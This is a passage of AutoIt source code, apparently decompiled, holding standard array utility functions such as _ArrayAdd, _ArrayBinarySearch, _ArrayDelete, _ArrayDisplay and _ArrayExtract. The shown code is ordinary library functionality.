"struct*", $tdata) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] <> 0 EndFunc Global Enum $arrayfill_force_default, $arrayfill_force_singleitem, $arrayfill_force_int, $arrayfill_force_number, $arrayfill_force_ptr, $arrayfill_force_hwnd, $arrayfill_force_string Global Enum $arrayunique_nocount, $arrayunique_count Global Enum $arrayunique_auto, $arrayunique_force32, $arrayunique_force64, $arrayunique_match, $arrayunique_distinct Func _arrayadd(ByRef $aarray, $vvalue, $istart = 0, $sdelim_item = "|", $sdelim_row = @CRLF, $iforce = $arrayfill_force_default) If $istart = Default Then $istart = 0 If $sdelim_item = Default Then $sdelim_item = "|" If $sdelim_row = Default Then $sdelim_row = @CRLF If $iforce = Default Then $iforce = $arrayfill_force_default If NOT IsArray($aarray) Then Return SetError(1, 0, -1) Local $idim_1 = UBound($aarray, $ubound_rows) Local $hdatatype = 0 Switch $iforce Case $arrayfill_force_int $hdatatype = Int Case $arrayfill_force_number $hdatatype = Number Case $arrayfill_force_ptr $hdatatype = Ptr Case $arrayfill_force_hwnd $hdatatype = HWnd Case $arrayfill_force_string $hdatatype = String EndSwitch Switch UBound($aarray, $ubound_dimensions) Case 1 If $iforce = $arrayfill_force_singleitem Then ReDim $aarray[$idim_1 + 1] $aarray[$idim_1] = $vvalue Return $idim_1 EndIf If IsArray($vvalue) Then If UBound($vvalue, $ubound_dimensions) <> 1 Then Return SetError(5, 0, -1) $hdatatype = 0 Else Local $atmp = StringSplit($vvalue, $sdelim_item, $str_nocount + $str_entiresplit) If UBound($atmp, $ubound_rows) = 1 Then $atmp[0] = $vvalue EndIf $vvalue = $atmp EndIf Local $iadd = UBound($vvalue, $ubound_rows) ReDim $aarray[$idim_1 + $iadd] For $i = 0 To $iadd - 1 If IsFunc($hdatatype) Then $aarray[$idim_1 + $i] = $hdatatype($vvalue[$i]) Else $aarray[$idim_1 + $i] = $vvalue[$i] EndIf Next Return $idim_1 + $iadd - 1 Case 2 Local $idim_2 = UBound($aarray, $ubound_columns) If $istart < 0 OR $istart > $idim_2 - 1 Then Return SetError(4, 0, -1) Local $ivaldim_1, $ivaldim_2 = 0, $icolcount If IsArray($vvalue) Then If UBound($vvalue, $ubound_dimensions) <> 2 Then Return SetError(5, 0, -1) $ivaldim_1 = UBound($vvalue, $ubound_rows) $ivaldim_2 = UBound($vvalue, $ubound_columns) $hdatatype = 0 Else Local $asplit_1 = StringSplit($vvalue, $sdelim_row, $str_nocount + $str_entiresplit) $ivaldim_1 = UBound($asplit_1, $ubound_rows) Local $atmp[$ivaldim_1][0], $asplit_2 For $i = 0 To $ivaldim_1 - 1 $asplit_2 = StringSplit($asplit_1[$i], $sdelim_item, $str_nocount + $str_entiresplit) $icolcount = UBound($asplit_2) If $icolcount > $ivaldim_2 Then $ivaldim_2 = $icolcount ReDim $atmp[$ivaldim_1][$ivaldim_2] EndIf For $j = 0 To $icolcount - 1 $atmp[$i][$j] = $asplit_2[$j] Next Next $vvalue = $atmp EndIf If UBound($vvalue, $ubound_columns) + $istart > UBound($aarray, $ubound_columns) Then Return SetError(3, 0, -1) ReDim $aarray[$idim_1 + $ivaldim_1][$idim_2] For $iwriteto_index = 0 To $ivaldim_1 - 1 For $j = 0 To $idim_2 - 1 If $j < $istart Then $aarray[$iwriteto_index + $idim_1][$j] = "" ElseIf $j - $istart > $ivaldim_2 - 1 Then $aarray[$iwriteto_index + $idim_1][$j] = "" Else If IsFunc($hdatatype) Then $aarray[$iwriteto_index + $idim_1][$j] = $hdatatype($vvalue[$iwriteto_index][$j - $istart]) Else $aarray[$iwriteto_index + $idim_1][$j] = $vvalue[$iwriteto_index][$j - $istart] EndIf EndIf Next Next Case Else Return SetError(2, 0, -1) EndSwitch Return UBound($aarray, $ubound_rows) - 1 EndFunc Func _arraybinarysearch(Const ByRef $aarray, $vvalue, $istart = 0, $iend = 0, $icolumn = 0) If $istart = Default Then $istart = 0 If $iend = Default Then $iend = 0 If $icolumn = Default Then $icolumn = 0 If NOT IsArray($aarray) Then Return SetError(1, 0, -1) Local $idim_1 = UBound($aarray, $ubound_rows) If $idim_1 = 0 Then Return SetError(6, 0, -1) If $iend < 1 OR $iend > $idim_1 - 1 Then $iend = $idim_1 - 1 If $istart < 0 Then $istart = 0 If $istart > $iend Then Return SetError(4, 0, -1) Local $imid = Int(($iend + $istart) / 2) Switch UBound($aarray, $ubound_dimensions) Case 1 If $aarray[$istart] > $vvalue OR $aarray[$iend] < $vvalue Then Return SetError(2, 0, -1) While $istart <= $imid AND $vvalue <> $aarray[$imid] If $vvalue < $aarray[$imid] Then $iend = $imid - 1 Else $istart = $imid + 1 EndIf $imid = Int(($iend + $istart) / 2) WEnd If $istart > $iend Then Return SetError(3, 0, -1) Case 2 Local $idim_2 = UBound($aarray, $ubound_columns) - 1 If $icolumn < 0 OR $icolumn > $idim_2 Then Return SetError(7, 0, -1) If $aarray[$istart][$icolumn] > $vvalue OR $aarray[$iend][$icolumn] < $vvalue Then Return SetError(2, 0, -1) While $istart <= $imid AND $vvalue <> $aarray[$imid][$icolumn] If $vvalue < $aarray[$imid][$icolumn] Then $iend = $imid - 1 Else $istart = $imid + 1 EndIf $imid = Int(($iend + $istart) / 2) WEnd If $istart > $iend Then Return SetError(3, 0, -1) Case Else Return SetError(5, 0, -1) EndSwitch Return $imid EndFunc Func _arraycoldelete(ByRef $aarray, $icolumn, $bconvert = False) If $bconvert = Default Then $bconvert = False If NOT IsArray($aarray) Then Return SetError(1, 0, -1) Local $idim_1 = UBound($aarray, $ubound_rows) If UBound($aarray, $ubound_dimensions) <> 2 Then Return SetError(2, 0, -1) Local $idim_2 = UBound($aarray, $ubound_columns) Switch $idim_2 Case 2 If $icolumn < 0 OR $icolumn > 1 Then Return SetError(3, 0, -1) If $bconvert Then Local $atemparray[$idim_1] For $i = 0 To $idim_1 - 1 $atemparray[$i] = $aarray[$i][(NOT $icolumn)] Next $aarray = $atemparray Else ContinueCase EndIf Case Else If $icolumn < 0 OR $icolumn > $idim_2 - 1 Then Return SetError(3, 0, -1) For $i = 0 To $idim_1 - 1 For $j = $icolumn To $idim_2 - 2 $aarray[$i][$j] = $aarray[$i][$j + 1] Next Next ReDim $aarray[$idim_1][$idim_2 - 1] EndSwitch Return UBound($aarray, $ubound_columns) EndFunc Func _arraycolinsert(ByRef $aarray, $icolumn) If NOT IsArray($aarray) Then Return SetError(1, 0, -1) Local $idim_1 = UBound($aarray, $ubound_rows) Switch UBound($aarray, $ubound_dimensions) Case 1 Local $atemparray[$idim_1][2] Switch $icolumn Case 0, 1 For $i = 0 To $idim_1 - 1 $atemparray[$i][(NOT $icolumn)] = $aarray[$i] Next Case Else Return SetError(3, 0, -1) EndSwitch $aarray = $atemparray Case 2 Local $idim_2 = UBound($aarray, $ubound_columns) If $icolumn < 0 OR $icolumn > $idim_2 Then Return SetError(3, 0, -1) ReDim $aarray[$idim_1][$idim_2 + 1] For $i = 0 To $idim_1 - 1 For $j = $idim_2 To $icolumn + 1 Step -1 $aarray[$i][$j] = $aarray[$i][$j - 1] Next $aarray[$i][$icolumn] = "" Next Case Else Return SetError(2, 0, -1) EndSwitch Return UBound($aarray, $ubound_columns) EndFunc Func _arraycombinations(Const ByRef $aarray, $iset, $sdelimiter = "") If $sdelimiter = Default Then $sdelimiter = "" If NOT IsArray($aarray) Then Return SetError(1, 0, 0) If UBound($aarray, $ubound_dimensions) <> 1 Then Return SetError(2, 0, 0) Local $in = UBound($aarray) Local $ir = $iset Local $aidx[$ir] For $i = 0 To $ir - 1 $aidx[$i] = $i Next Local $itotal = __array_combinations($in, $ir) Local $ileft = $itotal Local $aresult[$itotal + 1] $aresult[0] = $itotal Local $icount = 1 While $ileft > 0 __array_getnext($in, $ir, $ileft, $itotal, $aidx) For $i = 0 To $iset - 1 $aresult[$icount] &= $aarray[$aidx[$i]] & $sdelimiter Next If $sdelimiter <> "" Then $aresult[$icount] = StringTrimRight($aresult[$icount], 1) $icount += 1 WEnd Return $aresult EndFunc Func _arrayconcatenate(ByRef $aarraytarget, Const ByRef $aarraysource, $istart = 0) If $istart = Default Then $istart = 0 If NOT IsArray($aarraytarget) Then Return SetError(1, 0, -1) If NOT IsArray($aarraysource) Then Return SetError(2, 0, -1) Local $idim_total_tgt = UBound($aarraytarget, $ubound_dimensions) Local $idim_total_src = UBound($aarraysource, $ubound_dimensions) Local $idim_1_tgt = UBound($aarraytarget, $ubound_rows) Local $idim_1_src = UBound($aarraysource, $ubound_rows) If $istart < 0 OR $istart > $idim_1_src - 1 Then Return SetError(6, 0, -1) Switch $idim_total_tgt Case 1 If $idim_total_src <> 1 Then Return SetError(4, 0, -1) ReDim $aarraytarget[$idim_1_tgt + $idim_1_src - $istart] For $i = $istart To $idim_1_src - 1 $aarraytarget[$idim_1_tgt + $i - $istart] = $aarraysource[$i] Next Case 2 If $idim_total_src <> 2 Then Return SetError(4, 0, -1) Local $idim_2_tgt = UBound($aarraytarget, $ubound_columns) If UBound($aarraysource, $ubound_columns) <> $idim_2_tgt Then Return SetError(5, 0, -1) ReDim $aarraytarget[$idim_1_tgt + $idim_1_src - $istart][$idim_2_tgt] For $i = $istart To $idim_1_src - 1 For $j = 0 To $idim_2_tgt - 1 $aarraytarget[$idim_1_tgt + $i - $istart][$j] = $aarraysource[$i][$j] Next Next Case Else Return SetError(3, 0, -1) EndSwitch Return UBound($aarraytarget, $ubound_rows) EndFunc Func _arraydelete(ByRef $aarray, $vrange) If NOT IsArray($aarray) Then Return SetError(1, 0, -1) Local $idim_1 = UBound($aarray, $ubound_rows) - 1 If IsArray($vrange) Then If UBound($vrange, $ubound_dimensions) <> 1 OR UBound($vrange, $ubound_rows) < 2 Then Return SetError(4, 0, -1) Else Local $inumber, $asplit_1, $asplit_2 $vrange = StringStripWS($vrange, 8) $asplit_1 = StringSplit($vrange, ";") $vrange = "" For $i = 1 To $asplit_1[0] If NOT StringRegExp($asplit_1[$i], "^\d+(-\d+)?$") Then Return SetError(3, 0, -1) $asplit_2 = StringSplit($asplit_1[$i], "-") Switch $asplit_2[0] Case 1 $vrange &= $asplit_2[1] & ";" Case 2 If Number($asplit_2[2]) >= Number($asplit_2[1]) Then $inumber = $asplit_2[1] - 1 Do $inumber += 1 $vrange &= $inumber & ";" Until $inumber = $asplit_2[2] EndIf EndSwitch Next $vrange = StringSplit(StringTrimRight($vrange, 1), ";") EndIf If $vrange[1] < 0 OR $vrange[$vrange[0]] > $idim_1 Then Return SetError(5, 0, -1) Local $icopyto_index = 0 Switch UBound($aarray, $ubound_dimensions) Case 1 For $i = 1 To $vrange[0] $aarray[$vrange[$i]] = ChrW(64177) Next For $ireadfrom_index = 0 To $idim_1 If $aarray[$ireadfrom_index] == ChrW(64177) Then ContinueLoop Else If $ireadfrom_index <> $icopyto_index Then $aarray[$icopyto_index] = $aarray[$ireadfrom_index] EndIf $icopyto_index += 1 EndIf Next ReDim $aarray[$idim_1 - $vrange[0] + 1] Case 2 Local $idim_2 = UBound($aarray, $ubound_columns) - 1 For $i = 1 To $vrange[0] $aarray[$vrange[$i]][0] = ChrW(64177) Next For $ireadfrom_index = 0 To $idim_1 If $aarray[$ireadfrom_index][0] == ChrW(64177) Then ContinueLoop Else If $ireadfrom_index <> $icopyto_index Then For $j = 0 To $idim_2 $aarray[$icopyto_index][$j] = $aarray[$ireadfrom_index][$j] Next EndIf $icopyto_index += 1 EndIf Next ReDim $aarray[$idim_1 - $vrange[0] + 1][$idim_2 + 1] Case Else Return SetError(2, 0, False) EndSwitch Return UBound($aarray, $ubound_rows) EndFunc Func _arraydisplay(Const ByRef $aarray, $stitle = Default, $sarrayrange = Default, $iflags = Default, $vuser_separator = Default, $sheader = Default, $imax_colwidth = Default, $ialt_color = Default, $huser_function = Default) If $stitle = Default Then $stitle = "ArrayDisplay" If $sarrayrange = Default Then $sarrayrange = "" If $iflags = Default Then $iflags = 0 If $vuser_separator = Default Then $vuser_separator = "" If $sheader = Default Then $sheader = "" If $imax_colwidth = Default Then $imax_colwidth = 350 If $ialt_color = Default Then $ialt_color = 0 If $huser_function = Default Then $huser_function = 0 Local $itranspose = BitAND($iflags, 1) Local $icolalign = BitAND($iflags, 6) Local $iverbose = BitAND($iflags, 8) Local $ibuttonmargin = ((BitAND($iflags, 32)) ? (0) : ((BitAND($iflags, 16)) ? (20) : (40))) Local $inorow = BitAND($iflags, 64) Local $smsg = "", $iret = 1 If IsArray($aarray) Then Local $idimension = UBound($aarray, $ubound_dimensions), $irowcount = UBound($aarray, $ubound_rows), $icolcount = UBound($aarray, $ubound_columns) If $idimension > 2 Then $smsg = "Larger than 2D array passed to function" $iret = 2 EndIf Else $smsg = "No array variable passed to function" EndIf If $smsg Then If $iverbose AND MsgBox($mb_systemmodal + $mb_iconerror + $mb_yesno, "ArrayDisplay Error: " & $stitle, $smsg & @CRLF & @CRLF & "Exit the script?") = $idyes Then Exit Else Return SetError($iret, 0, "") EndIf EndIf Local $icw_colwidth = Number($vuser_separator) Local $sad_separator = ChrW(64177) Local $scurr_separator = Opt("GUIDataSeparatorChar", $sad_separator) If $vuser_separator = "" Then $vuser_separator = $scurr_separator Local $vtmp, $irowlimit = 65525, $icollimit = 250 Local $idatarow = $irowcount Local $idatacol = $icolcount Local $iitem_start = 0, $iitem_end = $irowcount - 1, $isubitem_start = 0, $isubitem_end = (($idimension = 2) ? ($icolcount - 1) : (0)) Local $brange_flag = False, $avrangesplit If $sarrayrange Then Local $aarray_range = StringRegExp($sarrayrange & "||", "(?U)(.*)\|", 3) If $aarray_range[0] Then $avrangesplit = StringSplit($aarray_range[0], ":") If @error Then $iitem_end = Number($avrangesplit[1]) Else $iitem_start = Number($avrangesplit[1]) $iitem_end = Number($avrangesplit[2]) EndIf EndIf If $iitem_start > $iitem_end Then $vtmp = $iitem_start $iitem_start = $iitem_end $iitem_end = $vtmp EndIf If $iitem_start < 0 Then $iitem_start = 0 If $iitem_end > $irowcount - 1 Then $iitem_end = $irowcount - 1 If $iitem_start <> 0 OR $iitem_end <> $irowcount - 1 Then $brange_flag = True If $idimension = 2 AND $aarray_range[1] Then $avrangesplit = StringSplit($aarray_range[1], ":") If @error Then $isubitem_end = Number($avrangesplit[1]) Else $isubitem_start = Number($avrangesplit[1]) $isubitem_end = Number($avrangesplit[2]) EndIf If $isubitem_start > $isubitem_end Then $vtmp = $isubitem_start $isubitem_start = $isubitem_end $isubitem_end = $vtmp EndIf If $isubitem_start < 0 Then $isubitem_start = 0 If $isubitem_end > $icolcount - 1 Then $isubitem_end = $icolcount - 1 If $isubitem_start <> 0 OR $isubitem_end <> $icolcount - 1 Then $brange_flag = True EndIf EndIf Local $sdisplaydata = "[" & $idatarow Local $btruncated = False If $itranspose Then If $iitem_end - $iitem_start > $icollimit Then $btruncated = True $iitem_end = $iitem_start + $icollimit - 1 EndIf Else If $iitem_end - $iitem_start > $irowlimit Then $btruncated = True $iitem_end = $iitem_start + $irowlimit - 1 EndIf EndIf If $btruncated Then $sdisplaydata &= "*]" Else $sdisplaydata &= "]" EndIf If $idimension = 2 Then $sdisplaydata &= " [" & $idatacol If $itranspose Then If $isubitem_end - $isubitem_start > $irowlimit Then $btruncated = True $isubitem_end = $isubitem_start + $irowlimit - 1 EndIf Else If $isubitem_end - $isubitem_start > $icollimit Then $btruncated = True $isubitem_end = $isubitem_start + $icollimit - 1 EndIf EndIf If $btruncated Then $sdisplaydata &= "*]" Else $sdisplaydata &= "]" EndIf EndIf Local $stipdata = "" If $btruncated Then $stipdata &= "Truncated" If $brange_flag Then If $stipdata Then $stipdata &= " - " $stipdata &= "Range set" EndIf If $itranspose Then If $stipdata Then $stipdata &= " - " $stipdata &= "Transposed" EndIf Local $asheader = StringSplit($sheader, $scurr_separator, $str_nocount) If UBound($asheader) = 0 Then Local $asheader[1] = [""] $sheader = "Row" Local $iindex = $isubitem_start If $itranspose Then For $j = $iitem_start To $iitem_end $sheader &= $sad_separator & "Col " & $j Next Else If $asheader[0] Then For $iindex = $isubitem_start To $isubitem_end If $iindex >= UBound($asheader) Then ExitLoop $sheader &= $sad_separator & $asheader[$iindex] Next EndIf For $j = $iindex To $isubitem_end $sheader &= $sad_separator & "Col " & $j Next EndIf If $inorow Then $sheader = StringTrimLeft($sheader, 4) If $iverbose AND ($iitem_end - $iitem_start + 1) * ($isubitem_end - $isubitem_start + 1) > 10000 Then SplashTextOn("ArrayDisplay", "Preparing display" & @CRLF & @CRLF & "Please be patient", 300, 100) EndIf Local $ibuffer = 4094 If $itranspose Then $vtmp = $iitem_start $iitem_start = $isubitem_start $isubitem_start = $vtmp $vtmp = $iitem_end $iitem_end = $isubitem_end $isubitem_end = $vtmp EndIf Local $avarraytext[$iitem_end - $iitem_start + 1] For $i = $iitem_start To $iitem_end If NOT $inorow Then $avarraytext[$i - $iitem_start] = "[" & $i & "]" For $j = $isubitem_start To $isubitem_end If $idimension = 1 Then If $itranspose Then Switch VarGetType($aarray[$j]) Case "Array" $vtmp = "{Array}" Case Else $vtmp = $aarray[$j] EndSwitch Else Switch VarGetType($aarray[$i]) Case "Array" $vtmp = "{Array}" Case Else $vtmp = $aarray[$i] EndSwitch EndIf Else If $itranspose Then Switch VarGetType($aarray[$j][$i]) Case "Array" $vtmp = "{Array}" Case Else $vtmp = $aarray[$j][$i] EndSwitch Else Switch VarGetType($aarray[$i][$j]) Case "Array" $vtmp = "{Array}" Case Else $vtmp = $aarray[$i][$j] EndSwitch EndIf EndIf If StringLen($vtmp) > $ibuffer Then $vtmp = StringLeft($vtmp, $ibuffer) $avarraytext[$i - $iitem_start] &= $sad_separator & $vtmp Next If $inorow Then $avarraytext[$i - $iitem_start] = StringTrimLeft($avarraytext[$i - $iitem_start], 1) Next Local Const $_arrayconstant_gui_dockbottom = 64 Local Const $_arrayconstant_gui_dockborders = 102 Local Const $_arrayconstant_gui_dockheight = 512 Local Const $_arrayconstant_gui_dockleft = 2 Local Const $_arrayconstant_gui_dockright = 4 Local Const $_arrayconstant_gui_dockhcenter = 8 Local Const $_arrayconstant_gui_event_close = -3 Local Const $_arrayconstant_gui_focus = 256 Local Const $_arrayconstant_gui_bkcolor_lv_alternate = -33554432 Local Const $_arrayconstant_ss_center = 1 Local Const $_arrayconstant_ss_centerimage = 512 Local Const $_arrayconstant_lvm_getitemcount = (4096 + 4) Local Const $_arrayconstant_lvm_getitemrect = (4096 + 14) Local Const $_arrayconstant_lvm_getcolumnwidth = (4096 + 29) Local Const $_arrayconstant_lvm_setcolumnwidth = (4096 + 30) Local Const $_arrayconstant_lvm_getitemstate = (4096 + 44) Local Const $_arrayconstant_lvm_getselectedcount = (4096 + 50) Local Const $_arrayconstant_lvm_setextendedlistviewstyle = (4096 + 54) Local Const $_arrayconstant_lvs_ex_gridlines = 1 Local Const $_arrayconstant_lvis_selected = 2 Local Const $_arrayconstant_lvs_showselalways = 8 Local Const $_arrayconstant_lvs_ex_fullrowselect = 32 Local Const $_arrayconstant_ws_ex_clientedge = 512 Local Const $_arrayconstant_ws_maximizebox = 65536 Local Const $_arrayconstant_ws_minimizebox = 131072 Local Const $_arrayconstant_ws_sizebox = 262144 Local Const $_arrayconstant_wm_setredraw = 11 Local Const $_arrayconstant_lvscw_autosize = -1 Local $icoordmode = Opt("GUICoordMode", 1) Local $iorgwidth = 210, $iheight = 200, $iminsize = 250 Local $hgui = GUICreate($stitle, $iorgwidth, $iheight, Default, Default, BitOR($_arrayconstant_ws_sizebox, $_arrayconstant_ws_minimizebox, $_arrayconstant_ws_maximizebox)) Local $aiguisize = WinGetClientSize($hgui) Local $ibuttonwidth_2 = $aiguisize[0] / 2 Local $ibuttonwidth_3 = $aiguisize[0] / 3 Local $idlistview = GUICtrlCreateListView($sheader, 0, 0, $aiguisize[0], $aiguisize[1] - $ibuttonmargin, $_arrayconstant_lvs_showselalways) GUICtrlSetBkColor($idlistview, $_arrayconstant_gui_bkcolor_lv_alternate) GUICtrlSendMsg($idlistview, $_arrayconstant_lvm_setextendedlistviewstyle, $_arrayconstant_lvs_ex_gridlines, $_arrayconstant_lvs_ex_gridlines) GUICtrlSendMsg($idlistview, $_arrayconstant_lvm_setextendedlistviewstyle, $_arrayconstant_lvs_ex_fullrowselect, $_arrayconstant_lvs_ex_fullrowselect) GUICtrlSendMsg($idlistview, $_arrayconstant_lvm_setextendedlistviewstyle, $_arrayconstant_ws_ex_clientedge, $_arrayconstant_ws_ex_clientedge) Local $idcopy_id = 9999, $idcopy_data = 99999, $iddata_label = 99999, $iduser_func = 99999, $idexit_script = 99999 If $ibuttonmargin Then $idcopy_id = GUICtrlCreateButton("Copy Data && Hdr/Row", 0, $aiguisize[1] - $ibuttonmargin, $ibuttonwidth_2, 20) $idcopy_data = GUICtrlCreateButton("Copy Data Only", $ibuttonwidth_2, $aiguisize[1] - $ibuttonmargin, $ibuttonwidth_2, 20) If $ibuttonmargin = 40 Then Local $ibuttonwidth_var = $ibuttonwidth_2 Local $ioffset = $ibuttonwidth_2 If IsFunc($huser_function) Then $iduser_func = GUICtrlCreateButton("Run User Func", $ibuttonwidth_3, $aiguisize[1] - 20, $ibuttonwidth_3, 20) $ibuttonwidth_var = $ibuttonwidth_3 $ioffset = $ibuttonwidth_3 * 2 EndIf $idexit_script = GUICtrlCreateButton("Exit Script", $ioffset, $aiguisize[1] - 20, $ibuttonwidth_var, 20) $iddata_label = GUICtrlCreateLabel($sdisplaydata, 0, $aiguisize[1] - 20, $ibuttonwidth_var, 18, BitOR($_arrayconstant_ss_center, $_arrayconstant_ss_centerimage)) Select Case $btruncated OR $itranspose OR $brange_flag GUICtrlSetColor($iddata_label, 16711680) GUICtrlSetTip($iddata_label, $stipdata) EndSelect EndIf EndIf GUICtrlSetResizing($idlistview, $_arrayconstant_gui_dockborders) GUICtrlSetResizing($idcopy_id, $_arrayconstant_gui_dockleft + $_arrayconstant_gui_dockbottom + $_arrayconstant_gui_dockheight) GUICtrlSetResizing($idcopy_data, $_arrayconstant_gui_dockright + $_arrayconstant_gui_dockbottom + $_arrayconstant_gui_dockheight) GUICtrlSetResizing($iddata_label, $_arrayconstant_gui_dockleft + $_arrayconstant_gui_dockbottom + $_arrayconstant_gui_dockheight) GUICtrlSetResizing($iduser_func, $_arrayconstant_gui_dockhcenter + $_arrayconstant_gui_dockbottom + $_arrayconstant_gui_dockheight) GUICtrlSetResizing($idexit_script, $_arrayconstant_gui_dockright + $_arrayconstant_gui_dockbottom + $_arrayconstant_gui_dockheight) GUICtrlSendMsg($idlistview, $_arrayconstant_wm_setredraw, 0, 0) Local $iditem For $i = 0 To UBound($avarraytext) - 1 $iditem = GUICtrlCreateListViewItem($avarraytext[$i], $idlistview) If $ialt_color Then GUICtrlSetBkColor($iditem, $ialt_color) EndIf Next If $icolalign Then Local Const $_arrayconstant_lvcf_fmt = 1 Local Const $_arrayconstant_lvm_setcolumnw = (4096 + 96) Local $tcolumn = DllStructCreate("uint Mask;int Fmt;int CX;ptr Text;int TextMax;int SubItem;int Image;int Order;int cxMin;int cxDefault;int cxIdeal") DllStructSetData($tcolumn, "Mask", $_arrayconstant_lvcf_fmt) DllStructSetData($tcolumn, "Fmt", $icolalign / 2) Local $pcolumn = DllStructGetPtr($tcolumn) For $i = 1 To $isubitem_end - $isubitem_start + 1 GUICtrlSendMsg($idlistview, $_arrayconstant_lvm_setcolumnw, $i, $pcolumn) Next EndIf GUICtrlSendMsg($idlistview, $_arrayconstant_wm_setredraw, 1, 0) Local $iborder = 45 If UBound($avarraytext) > 20 Then $iborder += 20 EndIf Local $iwidth = $iborder, $icolwidth = 0, $aicolwidth[$isubitem_end - $isubitem_start + 2], $imin_colwidth = 55 For $i = 0 To $isubitem_end - $isubitem_start + 1 GUICtrlSendMsg($idlistview, $_arrayconstant_lvm_setcolumnwidth, $i, $_arrayconstant_lvscw_autosize) $icolwidth = GUICtrlSendMsg($idlistview, $_arrayconstant_lvm_getcolumnwidth, $i, 0) If $icolwidth < $imin_colwidth Then GUICtrlSendMsg($idlistview, $_arrayconstant_lvm_setcolumnwidth, $i, $imin_colwidth) $icolwidth = $imin_colwidth EndIf $iwidth += $icolwidth $aicolwidth[$i] = $icolwidth Next If $inorow Then $iwidth -= 55 If $iwidth > @DesktopWidth - 100 Then $iwidth = $iborder For $i = 0 To $isubitem_end - $isubitem_start + 1 If $aicolwidth[$i] > $imax_colwidth Then GUICtrlSendMsg($idlistview, $_arrayconstant_lvm_setcolumnwidth, $i, $imax_colwidth) $iwidth += $imax_colwidth Else $iwidth += $aicolwidth[$i] EndIf Next EndIf If $iwidth > @DesktopWidth - 100 Then $iwidth = @DesktopWidth - 100 ElseIf $iwidth < $iminsize Then $iwidth = $iminsize EndIf Local $trect = DllStructCreate("struct; long Left;long Top;long Right;long Bottom; endstruct") DllCall("user32.dll", "struct*", "SendMessageW", "hwnd", GUICtrlGetHandle($idlistview), "uint", $_arrayconstant_lvm_getitemrect, "wparam", 0, "struct*", $trect) Local $aiwin_pos = WinGetPos($hgui) Local $ailv_pos = ControlGetPos($hgui, "", $idlistview) $iheight = ((UBound($avarraytext) + 2) * (DllStructGetData($trect, "Bottom") - DllStructGetData($trect, "Top"))) + $aiwin_pos[3] - $ailv_pos[3] If $iheight > @DesktopHeight - 100 Then $iheight = @DesktopHeight - 100 ElseIf $iheight < $iminsize Then $iheight = $iminsize EndIf If $iverbose Then SplashOff() GUISetState(@SW_HIDE, $hgui) WinMove($hgui, "", (@DesktopWidth - $iwidth) / 2, (@DesktopHeight - $iheight) / 2, $iwidth, $iheight) GUISetState(@SW_SHOW, $hgui) Local $ioneventmode = Opt("GUIOnEventMode", 0), $imsg While 1 $imsg = GUIGetMsg() Switch $imsg Case $_arrayconstant_gui_event_close ExitLoop Case $idcopy_id, $idcopy_data Local $isel_count = GUICtrlSendMsg($idlistview, $_arrayconstant_lvm_getselectedcount, 0, 0) If $iverbose AND (NOT $isel_count) AND ($iitem_end - $iitem_start) * ($isubitem_end - $isubitem_start) > 10000 Then SplashTextOn("ArrayDisplay", "Copying data" & @CRLF & @CRLF & "Please be patient", 300, 100) EndIf Local $sclip = "", $sitem, $asplit For $i = 0 To $iitem_end - $iitem_start If $isel_count AND NOT (GUICtrlSendMsg($idlistview, $_arrayconstant_lvm_getitemstate, $i, $_arrayconstant_lvis_selected)) Then ContinueLoop EndIf $sitem = $avarraytext[$i] If $imsg = $idcopy_data Then $sitem = StringRegExpReplace($sitem, "^\[\d+\].(.*)$", "$1") EndIf If $icw_colwidth Then $asplit = StringSplit($sitem, $sad_separator) $sitem = "" For $j = 1 To $asplit[0] $sitem &= StringFormat("%-" & $icw_colwidth + 1 & "s", StringLeft($asplit[$j], $icw_colwidth)) Next Else $sitem = StringReplace($sitem, $sad_separator, $vuser_separator) EndIf $sclip &= $sitem & @CRLF Next If $imsg = $idcopy_id Then If $icw_colwidth Then $asplit = StringSplit($sheader, $sad_separator) $sitem = "" For $j = 1 To $asplit[0] $sitem &= StringFormat("%-" & $icw_colwidth + 1 & "s", StringLeft($asplit[$j], $icw_colwidth)) Next Else $sitem = StringReplace($sheader, $sad_separator, $vuser_separator) EndIf $sclip = $sitem & @CRLF & $sclip EndIf ClipPut($sclip) SplashOff() GUICtrlSetState($idlistview, $_arrayconstant_gui_focus) Case $iduser_func Local $aiselitems[$irowlimit] = [0] For $i = 0 To GUICtrlSendMsg($idlistview, $_arrayconstant_lvm_getitemcount, 0, 0) If GUICtrlSendMsg($idlistview, $_arrayconstant_lvm_getitemstate, $i, $_arrayconstant_lvis_selected) Then $aiselitems[0] += 1 $aiselitems[$aiselitems[0]] = $i + $iitem_start EndIf Next ReDim $aiselitems[$aiselitems[0] + 1] $huser_function($aarray, $aiselitems) GUICtrlSetState($idlistview, $_arrayconstant_gui_focus) Case $idexit_script GUIDelete($hgui) Exit EndSwitch WEnd GUIDelete($hgui) Opt("GUICoordMode", $icoordmode) Opt("GUIOnEventMode", $ioneventmode) Opt("GUIDataSeparatorChar", $scurr_separator) Return 1 EndFunc Func _arrayextract(Const ByRef $aarray, $istart_row = -1, $iend_row = -1, $istart_col = -1, $iend_col = -1) If $istart_row = Default Then $istart_row = -1 If $iend_row = Default Then $iend_row = -1 If $istart_col = Default Then $istart_col = -1 If $iend_col = Default Then $iend_col = -1 If NOT IsArray($aarray) Then Return SetError(1, 0, -1) Local $idim_1 = UBound($aarray, $ubound_rows) - 1 If $iend_row = -1 Then $iend_row = $idim_1 If $istart_row = -1 Then $istart_row = 0 If $istart_row < -1 OR $iend_row < -1 Then Return SetError(3, 0, -1) If $istart_row > $idim_1 OR $iend_row > $idim_1 Then Return SetError(3, 0, -1) If $istart_row > $iend_row Then Return SetError(4, 0, -1) Switch UBound($aarray, $ubound_dimensions) Case 1 Local $aretarray[$iend_row - $istart_row + 1] For $i = 0 To $iend_row - $istart_row $aretarray[$i] = $aarray[$i + $istart_row] Next Return $aretarray Case 2 Local $idim_2 = UBound($aarray, $ubound_columns) - 1 If $iend_col = -1 Then $iend_col = $idim_2 If $istart_col = -1 Then $istart_col = 0 If $istart_col < -1 OR $iend_col < -1 Then Return SetError(5, 0, -1) If $istart_col > $idim_2 OR $iend_col > $idim_2 Then Return SetError(5, 0, -1) If $istart_col > $iend_col Then Return SetError(6, 0, -1) If $istart_col = $iend_col Then Local $aretarray[$iend_row - $istart_row + 1] Else Local $aretarray[$iend_row - $istart_row + 1][$iend_col - $istart_col + 1] EndIf For $i = 0 To $iend_row - $istart_row For $j = 0 To $iend_col - $istart_col If $istart_col = $iend_col Then $aretarray[$i] = $aarray[$i + $istart_row][$j + $istart_col] Else $aretarray[$i][$j] = $aarray[$i + $istart_row][$j + $istart_col] EndIf Next Next Return $aretarray Case Else Return SetError(2, 0, -1) EndSwitch Return 1 